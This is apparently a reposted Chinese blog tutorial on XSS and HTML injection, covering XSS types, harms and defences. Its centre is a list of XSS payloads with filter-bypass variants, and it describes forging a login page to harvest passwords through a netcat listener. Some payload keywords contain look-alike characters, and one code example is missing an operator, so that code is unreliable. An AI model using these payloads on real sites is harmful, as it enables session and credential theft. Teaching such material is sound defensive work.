零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XSS:

  1、本质:

    XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。

  2、分类:    

1 //1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
2 /*https://www.test.com/XSS?string='一段js脚本'*/
3 <script>alert(1)</script>
4 //2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
5 /*https://www.test.com/XSS?store='一段js脚本'*/
6 <script>alert(1)</script>
7 /*https://www.test.com/show触发*/
8 //3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
9 <script>
10     functionxssattack(){11         var str = document.getElementById("text").value;12         document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";13 }</script>14 //如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。

  3、危害:   

  (1)盗取Cookie
  (2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
  (3)增删改查用户可以增删改查的任何东西
  (4)钓鱼甚至蠕虫(终极武器)

  4、常见的payload:

   (1)<script>alert(1)</script>,<img src=1 οnerrοr=alert(1)>,<svg οnlοad=alert()>

   (2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>

   (3)以上特殊字符编码成URL编码

   (4)<img src='' οnerrοr=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' οnerrοr=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>

   (5)";alert(1);"【本身在<script>标签内】

   (6)<img src=javascript:alert(1)>,<div style="&#123&#43...&#72">【或者hex、base64编码】,<script src='/filepath/filename'></script>

   (7)<img src=1 on%09load=alert(1)>,<img src=1 οnlοad=alert(1)>%0a,<svg/οnlοad=alert()>,<svg%0a[%0d]οnlοad=alert()>

   (8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 οnerrοr=alert(1)>'

     (9)alert()中()被过滤可以尝试使用``反引号

    (10)url;<script>alert(1)</script>url反射

  5、防御:

    (1)过滤用户输入

    (2)输出之前进行实体编码

二、更广泛的HTML注入:

  1、本质:

    向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。

  2、payload:

    <a href='http://www.baidu.com'>

    paramwidth ="\" οnlοad=alert(1)></ifrmae>//"

  3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。

转载于:https://www.cnblogs.com/KevinGeorge/p/8251103.html

WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入相关推荐

  1. Java Web学习(六)HttpServletRequest(客户端请求)

    一.定义 HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有 ...

  2. 实现手机扫描二维码页面登录,类似web微信-第三篇,手机客户端

    上一篇,介绍了二维码生成的机制,紧接着,我们就要开发手机客户端来识别这个二维码. 二维码,实际上是记录了这个页面的sessionID,目的是为了最后让服务器能通过long polling的机制去通知到 ...

  3. 玩转SSRS第六篇---客户端报表进阶

    上一篇介绍了客户端报表的基本开发.此篇讲介绍如何给客户端报表自定义开发数据源. 通过上一篇我们知道可以通过Dataset的方式给报表添加数据源,这种方式通过UI操作的方式相对来说比较简单.此外我们也可 ...

  4. mysql mof提权原理_[原创]WEB安全第六章提权篇12 mof提权

    WEB安全第六章提权篇12 mof提权 1.mof是什么 托管对象格式 (MOF) 文件是创建和注册提供程序.事件类别和事件的简便方法.在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译.编 ...

  5. 使用 jQuery Mobile 与 HTML5 开发 Web App (十六) —— HTML5 Web Storage

    绝大多数的软件都需要使用某种具有持久性的方式来存储数据,Web Apps 也不例外,涉及到完整后台的 Web Apps ,可以直接在后台使用 mysql 等数据库来存储数据,但过多的 sql 查询会影 ...

  6. 第六篇 :微信公众平台开发实战Java版之如何自定义微信公众号菜单

    我们来了解一下 自定义菜单创建接口: http请求方式:POST(请使用https协议) https://api.weixin.qq.com/cgi-bin/menu/create?access_to ...

  7. SpringCloud(第 029 篇)配置客户端 ConfigClient 接入配置服务端

    SpringCloud(第 029 篇)配置客户端 ConfigClient 接入配置服务端 - 一.大致介绍 1.有配置服务端,那么势必就会有与之对应的客户端,SpringCloud 文档中集成也非 ...

  8. 高性能WEB开发 - HTTP服务器篇

    高性能WEB开发 - HTTP服务器篇 新产品为了效果,做的比较炫,用了很多的图片和JS,所以前端的性能是很大的问题,分篇记录前端性能优化的一些小经验. 第一篇:HTTP服务器 因tomcat处理静态 ...

  9. SQL Server索引进阶第六篇:书签

    SQL Server索引进阶第六篇:书签 索引设计是数据库设计中比较重要的一个环节,对数据库的性能其中至关重要的作用,但是索引的设计却又不是那么容易的事情,性能也不是那么轻易就获取到的,很多的技术人员 ...

  10. EnjoyingSoft之Mule ESB开发教程第六篇:Data Transform - 数据转换

    目录 1. 数据转换概念 2. 数据智能感知 - DataSense 3. 简单数据转换组件 3.1 Object to JSON 3.2 JSON to XML 3.3 JSON to Object ...

最新文章

  1. 打印速度快点的打印机_佳能和爱普生打印机哪个好 高性价比打印机介绍【详解】...
  2. silverlight与javascript交互操作
  3. python实现Anderson-Darling正态分布检验
  4. SAP Spartacus 默认的 pwa,处于关闭状态还是打开状态?
  5. python sum函数numpy_如何用numba加速python?
  6. 潮流色彩碰撞C4D几何空间!这样的艺术背景素材,设计师都喜欢
  7. sql执行为啥这么慢,常见的原因有哪些
  8. 老挑毛 win7 linux,图解老挑毛u盘启动工具怎么重装系统
  9. 介绍电子计算机的英文简介,写介绍电脑的英语作文
  10. 【POJ2406】Power Strings(hash/kmp)
  11. mysql索引简单介绍
  12. r语言t检验输出检验统计量_R语言:常用统计检验
  13. 如何快速发表一篇SCI论文
  14. 关于MSP430单片机程序烧写的介绍
  15. 学习编程,应该从哪里开始学习呢?
  16. python--文件的导入与导出
  17. iphone不显示wifi连接到服务器,iPhone出现无法连接到任何WiFi怎么办 WiFi故障解决方法...
  18. linux 有线链接树莓派,linux-通过公共互联网连接到树莓派
  19. CQRS\ES架构介绍
  20. 海明校验码原来这样算!!!

热门文章

  1. docker教程_2 docker常见命令
  2. java try catch_Java - 异常处理机制
  3. java中什么是线程安全_Java 多线程:什么是线程安全性
  4. DMA访问(直接内存访问)
  5. Hive编写连续7天登录的总人数:
  6. clickhouse代理Chproxy
  7. Linux下Shell脚本命令行参数:getopt、getopts用法
  8. 关于二进制兼容(二进制边界)的解释
  9. Swift 2.x 升为 swift 3后语法不兼容问题适配
  10. for each,for in,for of三者区别